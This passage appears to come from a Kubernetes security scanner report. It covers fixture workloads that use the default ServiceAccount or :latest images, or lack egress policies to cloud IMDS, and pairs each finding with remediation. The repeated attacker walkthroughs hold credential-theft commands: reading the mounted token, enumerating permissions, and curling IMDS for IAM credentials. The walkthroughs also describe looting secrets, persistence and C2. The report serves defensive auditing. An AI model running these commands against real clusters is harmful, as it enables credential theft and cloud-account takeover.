  2. Reference the new SA in the PodSpec via serviceAccountName: generic-hostpath-app-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n vulnerable -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n vulnerable -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/vulnerable/host-ns-app Workload 5.4
Workload Deployment/vulnerable/host-ns-app runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/vulnerable/host-ns-app
Category: Privilege Escalation Resource: Deployment/vulnerable/host-ns-app Namespace: vulnerable

Workload Deployment/vulnerable/host-ns-app does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n vulnerable create sa host-ns-app-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: host-ns-app-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n vulnerable -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n vulnerable -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/vulnerable/risky-app Workload 5.4
Workload Deployment/vulnerable/risky-app runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/vulnerable/risky-app
Category: Privilege Escalation Resource: Deployment/vulnerable/risky-app Namespace: vulnerable

Workload Deployment/vulnerable/risky-app does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n vulnerable create sa risky-app-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: risky-app-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n vulnerable -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n vulnerable -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/vulnerable/root-runner Workload 5.4
Workload Deployment/vulnerable/root-runner runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/vulnerable/root-runner
Category: Privilege Escalation Resource: Deployment/vulnerable/root-runner Namespace: vulnerable

Workload Deployment/vulnerable/root-runner does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n vulnerable create sa root-runner-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: root-runner-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n vulnerable -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n vulnerable -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Deployment/vulnerable/socket-mounts-app Workload 5.4
Workload Deployment/vulnerable/socket-mounts-app runs as the namespace default ServiceAccount
Scope · Workload Workload Deployment/vulnerable/socket-mounts-app
Category: Privilege Escalation Resource: Deployment/vulnerable/socket-mounts-app Namespace: vulnerable

Workload Deployment/vulnerable/socket-mounts-app does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n vulnerable create sa socket-mounts-app-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: socket-mounts-app-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n vulnerable -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n vulnerable -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
MEDIUM Job/gw-workloads/gw-batch Workload 5.4
Workload Job/gw-workloads/gw-batch runs as the namespace default ServiceAccount
Scope · Workload Workload Job/gw-workloads/gw-batch
Category: Privilege Escalation Resource: Job/gw-workloads/gw-batch Namespace: gw-workloads

Workload Job/gw-workloads/gw-batch does not specify serviceAccountName and therefore runs as the namespace's default ServiceAccount, which by default has its token auto-mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

The default SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via subjects: [{kind: ServiceAccount, name: default, namespace: foo}]), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.

The Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs kubectl auth can-i --list to find every accreted permission, often elevated by drift over the namespace's lifetime.

Impact Token theft yields whatever permissions the namespace default SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.
How an attacker abuses this
Background
ResourceJob

A Job executes one or more pods that must complete successfully. Jobs are a common attacker mechanism for one-shot privilege use ("create a Job that mounts the host filesystem, do the thing, exit").

  1. RCE in the pod.
  2. Read the SA token: cat /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. Enumerate permissions: kubectl --token=$TOKEN auth can-i --list.
  4. Exploit any usable verb. Common findings: secrets/get (loot all secrets), pods/exec (shell into other pods), pods/create with privileged template (escalate to node).
  5. Persist by creating a hidden Deployment with the same compromised SA.
Remediation
Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace default SA.
  1. Create a ServiceAccount: kubectl -n gw-workloads create sa gw-batch-sa. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.
  2. Reference the new SA in the PodSpec via serviceAccountName: gw-batch-sa. If the app does NOT need to talk to the API at all, also set automountServiceAccountToken: false.
  3. Disable automount on the namespace default SA: kubectl patch sa default -n gw-workloads -p '{"automountServiceAccountToken": false}'.
  4. Validate: kubectl get pod -n gw-workloads -l <selector> -o jsonpath='{.items[*].spec.serviceAccountName}' returns the new SA, not default.
Evidence
ServiceAccountdefault
Show raw JSON
{
  "service_account": "default"
}
LOW

Container app uses mutable image tag busybox:latest in Deployment/containersec-fixtures/containersec-image

KUBE-IMAGE-LATEST-001 3 subjects Score 2.5
MITRE ATT&CK: T1525T1195.002T1554

Affected subjects (3)

LOW Deployment/containersec-fixtures/containersec-image Workload 2.5
Container app uses mutable image tag busybox:latest in Deployment/containersec-fixtures/containersec-image
Scope · Workload Workload Deployment/containersec-fixtures/containersec-image
Category: Defense Evasion Resource: Deployment/containersec-fixtures/containersec-image Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-image references the image busybox:latest using a mutable tag (either :latest or no tag, which Kubernetes resolves to :latest). Mutable tags break two safety properties: (1) the same manifest produces non-deterministic deployments, since the tag may resolve to different content on different days; (2) there is no cryptographic binding between the manifest and the image content actually run, so registry-side or in-flight tampering cannot be detected.

This is a defense-evasion / supply-chain hygiene finding rather than an active exploit. Image digests (@sha256:<hex>) are immutable: the digest is computed over the manifest content, so any change yields a different digest. SLSA, Sigstore Cosign, and admission controllers like Kyverno or Connaisseur are the modern controls; pinning to a digest is the prerequisite for verifying signatures.

A public package compromise (Codecov-style or PyPI-typosquat scenarios, or the 2024 ultralytics PyPI compromise) can republish image:latest with malicious code; clusters with imagePullPolicy: Always and :latest silently pick it up. Pinning to a digest turns a silent supply-chain attack into a noisy CI failure.

Impact Non-deterministic deployments and silent ingestion of upstream supply-chain compromises; disables digest-based verification and signature checking.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker compromises an upstream image (registry credential leak, typosquat, or maintainer takeover).
  2. Pushes vendor/app:latest with a malicious additional layer.
  3. Target cluster's pod restarts and imagePullPolicy: Always re-pulls the tag, getting the new digest silently.
  4. Malicious code runs under the workload's existing RBAC/secrets context.
  5. Without digest pinning or signature verification, defenders have no signal until detection-tier tools fire on the malicious behavior.
Remediation
Pin every image to an immutable digest (@sha256:...) and verify signatures at admission.
  1. Resolve the digest: crane digest <ref> or docker buildx imagetools inspect <image>:<tag>. Update manifests to image: <repo>@sha256:<digest> (you may keep the tag for documentation: image: <repo>:1.2.3@sha256:<digest>).
  2. Set imagePullPolicy: IfNotPresent (digest pinning makes Always unnecessary). For images that absolutely must float, apply a Kyverno policy that rejects :latest.
  3. Sign images at build time with Sigstore Cosign and enforce verification at admission with Connaisseur, Kyverno's verifyImages rule, or sigstore-policy-controller.
  4. Validate: kubectl get deployment/containersec-image -n containersec-fixtures -o jsonpath='{.spec.template.spec.containers[*].image}' contains @sha256:.
Evidence
Containerapp
Imagebusybox:latest
:latest is mutable: the same tag can resolve to different images over time
Show raw JSON
{
  "container": "app",
  "image": "busybox:latest"
}
LOW Deployment/vulnerable/risky-app Workload 2.5
Container app uses mutable image tag nginx:latest in Deployment/vulnerable/risky-app
Scope · Workload Workload Deployment/vulnerable/risky-app
Category: Defense Evasion Resource: Deployment/vulnerable/risky-app Namespace: vulnerable

Container app in Deployment/vulnerable/risky-app references the image nginx:latest using a mutable tag (either :latest or no tag, which Kubernetes resolves to :latest). Mutable tags break two safety properties: (1) the same manifest produces non-deterministic deployments, since the tag may resolve to different content on different days; (2) there is no cryptographic binding between the manifest and the image content actually run, so registry-side or in-flight tampering cannot be detected.

This is a defense-evasion / supply-chain hygiene finding rather than an active exploit. Image digests (@sha256:<hex>) are immutable: the digest is computed over the manifest content, so any change yields a different digest. SLSA, Sigstore Cosign, and admission controllers like Kyverno or Connaisseur are the modern controls; pinning to a digest is the prerequisite for verifying signatures.

A public package compromise (Codecov-style or PyPI-typosquat scenarios, or the 2024 ultralytics PyPI compromise) can republish image:latest with malicious code; clusters with imagePullPolicy: Always and :latest silently pick it up. Pinning to a digest turns a silent supply-chain attack into a noisy CI failure.

Impact Non-deterministic deployments and silent ingestion of upstream supply-chain compromises; disables digest-based verification and signature checking.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker compromises an upstream image (registry credential leak, typosquat, or maintainer takeover).
  2. Pushes vendor/app:latest with a malicious additional layer.
  3. Target cluster's pod restarts and imagePullPolicy: Always re-pulls the tag, getting the new digest silently.
  4. Malicious code runs under the workload's existing RBAC/secrets context.
  5. Without digest pinning or signature verification, defenders have no signal until detection-tier tools fire on the malicious behavior.
Remediation
Pin every image to an immutable digest (@sha256:...) and verify signatures at admission.
  1. Resolve the digest: crane digest <ref> or docker buildx imagetools inspect <image>:<tag>. Update manifests to image: <repo>@sha256:<digest> (you may keep the tag for documentation: image: <repo>:1.2.3@sha256:<digest>).
  2. Set imagePullPolicy: IfNotPresent (digest pinning makes Always unnecessary). For images that absolutely must float, apply a Kyverno policy that rejects :latest.
  3. Sign images at build time with Sigstore Cosign and enforce verification at admission with Connaisseur, Kyverno's verifyImages rule, or sigstore-policy-controller.
  4. Validate: kubectl get deployment/risky-app -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].image}' contains @sha256:.
Evidence
Containerapp
Imagenginx:latest
:latest is mutable: the same tag can resolve to different images over time
Show raw JSON
{
  "container": "app",
  "image": "nginx:latest"
}
LOW Deployment/cloud-eks-test/imds-pivot-app Workload 2.5
Container app uses mutable image tag public.ecr.aws/aws-cli/aws-cli:latest in Deployment/cloud-eks-test/imds-pivot-app
Scope · Workload Workload Deployment/cloud-eks-test/imds-pivot-app
Category: Defense Evasion Resource: Deployment/cloud-eks-test/imds-pivot-app Namespace: cloud-eks-test

Container app in Deployment/cloud-eks-test/imds-pivot-app references the image public.ecr.aws/aws-cli/aws-cli:latest using a mutable tag (either :latest or no tag, which Kubernetes resolves to :latest). Mutable tags break two safety properties: (1) the same manifest produces non-deterministic deployments, since the tag may resolve to different content on different days; (2) there is no cryptographic binding between the manifest and the image content actually run, so registry-side or in-flight tampering cannot be detected.

This is a defense-evasion / supply-chain hygiene finding rather than an active exploit. Image digests (@sha256:<hex>) are immutable: the digest is computed over the manifest content, so any change yields a different digest. SLSA, Sigstore Cosign, and admission controllers like Kyverno or Connaisseur are the modern controls; pinning to a digest is the prerequisite for verifying signatures.

A public package compromise (Codecov-style or PyPI-typosquat scenarios, or the 2024 ultralytics PyPI compromise) can republish image:latest with malicious code; clusters with imagePullPolicy: Always and :latest silently pick it up. Pinning to a digest turns a silent supply-chain attack into a noisy CI failure.

Impact Non-deterministic deployments and silent ingestion of upstream supply-chain compromises; disables digest-based verification and signature checking.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker compromises an upstream image (registry credential leak, typosquat, or maintainer takeover).
  2. Pushes vendor/app:latest with a malicious additional layer.
  3. Target cluster's pod restarts and imagePullPolicy: Always re-pulls the tag, getting the new digest silently.
  4. Malicious code runs under the workload's existing RBAC/secrets context.
  5. Without digest pinning or signature verification, defenders have no signal until detection-tier tools fire on the malicious behavior.
Remediation
Pin every image to an immutable digest (@sha256:...) and verify signatures at admission.
  1. Resolve the digest: crane digest <ref> or docker buildx imagetools inspect <image>:<tag>. Update manifests to image: <repo>@sha256:<digest> (you may keep the tag for documentation: image: <repo>:1.2.3@sha256:<digest>).
  2. Set imagePullPolicy: IfNotPresent (digest pinning makes Always unnecessary). For images that absolutely must float, apply a Kyverno policy that rejects :latest.
  3. Sign images at build time with Sigstore Cosign and enforce verification at admission with Connaisseur, Kyverno's verifyImages rule, or sigstore-policy-controller.
  4. Validate: kubectl get deployment/imds-pivot-app -n cloud-eks-test -o jsonpath='{.spec.template.spec.containers[*].image}' contains @sha256:.
Evidence
Containerapp
Imagepublic.ecr.aws/aws-cli/aws-cli:latest
:latest is mutable: the same tag can resolve to different images over time
Show raw JSON
{
  "container": "app",
  "image": "public.ecr.aws/aws-cli/aws-cli:latest"
}

Network Policy

82 findings · 7 rules · 0 critical · 75 high · 7 medium · 0 low
HIGH

Workload DaemonSet/rbac-fixtures/daemon-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable

KUBE-NETPOL-IMDS-001 38 subjects Score 7.8

Affected subjects (38)

HIGH DaemonSet/rbac-fixtures/daemon-app Workload 7.8
Workload DaemonSet/rbac-fixtures/daemon-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload DaemonSet/rbac-fixtures/daemon-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: DaemonSet/rbac-fixtures/daemon-app Namespace: rbac-fixtures

Workload DaemonSet/rbac-fixtures/daemon-app runs in namespace rbac-fixtures and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDaemonSet

A DaemonSet schedules one pod per node, typically for cluster infrastructure (CNI, log shipping, node monitoring). DaemonSets are frequent targets because they often need hostNetwork, hostPath, or privileged to do their job, which makes them ideal for attackers if compromised.

  1. Attacker gains RCE in DaemonSet/rbac-fixtures/daemon-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in rbac-fixtures (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec daemon-app -n rbac-fixtures -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"DaemonSet"
workload_name
"daemon-app"
workload_namespace
"rbac-fixtures"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "DaemonSet",
  "workload_name": "daemon-app",
  "workload_namespace": "rbac-fixtures"
}
HIGH Deployment/cloud-eks-test/imds-pivot-app Workload 7.8
Workload Deployment/cloud-eks-test/imds-pivot-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/cloud-eks-test/imds-pivot-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/cloud-eks-test/imds-pivot-app Namespace: cloud-eks-test

Workload Deployment/cloud-eks-test/imds-pivot-app runs in namespace cloud-eks-test and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/cloud-eks-test/imds-pivot-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in cloud-eks-test (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec imds-pivot-app -n cloud-eks-test -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"imds-pivot-app"
workload_namespace
"cloud-eks-test"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "imds-pivot-app",
  "workload_namespace": "cloud-eks-test"
}
HIGH Deployment/cloud-eks-test/irsa-admin-app Workload 7.8
Workload Deployment/cloud-eks-test/irsa-admin-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/cloud-eks-test/irsa-admin-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/cloud-eks-test/irsa-admin-app Namespace: cloud-eks-test

Workload Deployment/cloud-eks-test/irsa-admin-app runs in namespace cloud-eks-test and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/cloud-eks-test/irsa-admin-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
